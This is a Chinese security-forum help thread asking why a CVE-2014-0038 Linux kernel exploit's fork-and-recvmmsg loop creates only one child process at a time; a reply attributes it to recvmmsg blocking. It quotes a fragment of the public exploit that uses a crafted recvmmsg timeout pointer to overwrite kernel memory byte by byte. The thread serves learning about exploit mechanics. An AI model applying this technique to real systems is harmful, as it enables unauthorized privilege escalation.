首页
社区
课程
招聘
[求助] CVE-2014-0038 EXP 多进程问题
发表于: 2018-8-21 07:13 3477

[求助] CVE-2014-0038 EXP 多进程问题

2018-8-21 07:13
3477

CVE-2014-0038 EXP 多进程问题

1. 问题代码

void udp(int b) {
    int sockfd;
    struct sockaddr_in servaddr,cliaddr;
    int s = 0xff+1;

    if(fork() == 0) {
        while(s > 0) {
            fprintf(stderr,"\rbyte %d / 3.. ~%d secs left    \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
            sleep(1);
            s--;
            fprintf(stderr,".");
        }

        sockfd = socket(AF_INET,SOCK_DGRAM,0);
        bzero(&servaddr,sizeof(servaddr));
        servaddr.sin_family = AF_INET;
        servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
        servaddr.sin_port=htons(port);
        sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
        exit(0);
    }

}
....
for(i=0;i < 3 ;i++) {
    udp(i);
    retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
    if(!retval) {
        fprintf(stderr,"\nrecvmmsg() failed\n");
    }
}

2.问题描述

上述代码中for循环三次调用udp函数,对最高位进行溢出.

  • 运行此exp为什么没有出现乱序执行的情况?(如果父进程没有相关控制, 子进程一般会乱序执行)
  • 每次只有一个子进程被fork出来, 而不是一次性fork三个?(从代码来看确实会几乎同时fork三个的)
  • 这两个问题总结成一个:从整体代码来看, 父进程应该会几乎同时fork出三个子进程,这三个子进程乱序执行. 实际情况确实, 每次溢出的时候,只存在一个子进程和父进程, 这个子进程进行相关的溢出活动. 为什么会出现这种情况呢?
 

截图:

相关博文

链接
看雪贴


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 4975
活跃值: (3858)
能力值: ( LV13,RANK:270 )
在线值:
发帖
回帖
粉丝
2

各位大佬, 我的问题已经解决了, 这是由于系统调用__NR_recvmmsg的原因.
__NR_recvmmsg会使父进程进入阻塞状态, 而不会继续创建新的子进程.

2018-8-29 06:32
0
游客
登录 | 注册 方可回帖
返回
//